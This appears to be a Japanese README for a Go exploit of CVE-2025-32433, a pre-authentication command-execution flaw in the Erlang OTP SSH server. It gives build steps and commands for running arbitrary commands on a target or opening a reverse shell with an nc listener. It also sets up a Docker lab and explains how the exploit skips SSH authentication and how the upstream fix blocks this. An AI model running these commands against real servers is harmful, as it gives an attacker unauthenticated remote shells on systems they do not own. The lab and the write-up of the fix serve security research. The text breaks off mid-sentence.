
CVE-2025-32433向けGoベースのエクスプロイト
Goベースのエクスプロイトで、CVE-2025-32433を利用してリモートのbashシェルを取得します。
ProDefenseのCVE-2025-32433用PoCから導出されたエクスプロイトの理解に大きく影響を受けています。
make
クロスコンパイル用Makefileにより、
exploit.exeはWindowsマシンでも利用可能です。
次に、エクスプロイトバイナリを次の2つの方法のいずれかで実行します。
コマンド
./exploit <target-ip> <target-port> "<command>"
注:コマンドの出力は返されません。
リバースシェル
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
ProDefense のDockerfileを使用すると、次の手順で環境をセットアップできます。
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
その後、エクスプロイトの実行セクションの説明に従ってエクスプロイトを実行できます。例:
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1はDockerホストのデフォルトIPアドレスです。
TL;DR 「この問題は、SSHプロトコルのメッセージ処理における欠陥によって引き起こされ、攻撃者が認証前に接続プロトコルメッセージを送信できるようになります。」
一般的なSSH手順:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT(鍵交換)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
エクスプロイト手順:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (事前認証)SSH_MSG_CHANNEL_REQUEST (事前認証) --> コマンドペイロードを含むエクスプロイトでは、USERAUTH全体がスキップされることに注意してください。
SSHメッセージに関する関連RFC:


SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

文字列フォーマット(RFC 4251: セキュアシェル(SSH)プロトコルアーキテクチャより)

パディング

以下は、Erlang OTPライブラリのssh: early RCE fix コミットで導入された修正です。

この修正により、新しい handle_msg 句が導入され、その引数に従って以下をキャッチします。
Msg: 以前の句(#ssh_msg_disconnect{} など)でまだマッチしていないすべての受信SSHメッセージ用のキャッチオール変数#ssh{authenticated = false}: 接続がまだ認証されていない場合にマッチするセッション状態この句は、サーバーが #ssh_msg_userauth_success{} を受信したときにセッションに付与される authenticated = true のセッションはキャッチしません。

これは、以下のいずれかの認証方法が成功した後に送信されます。
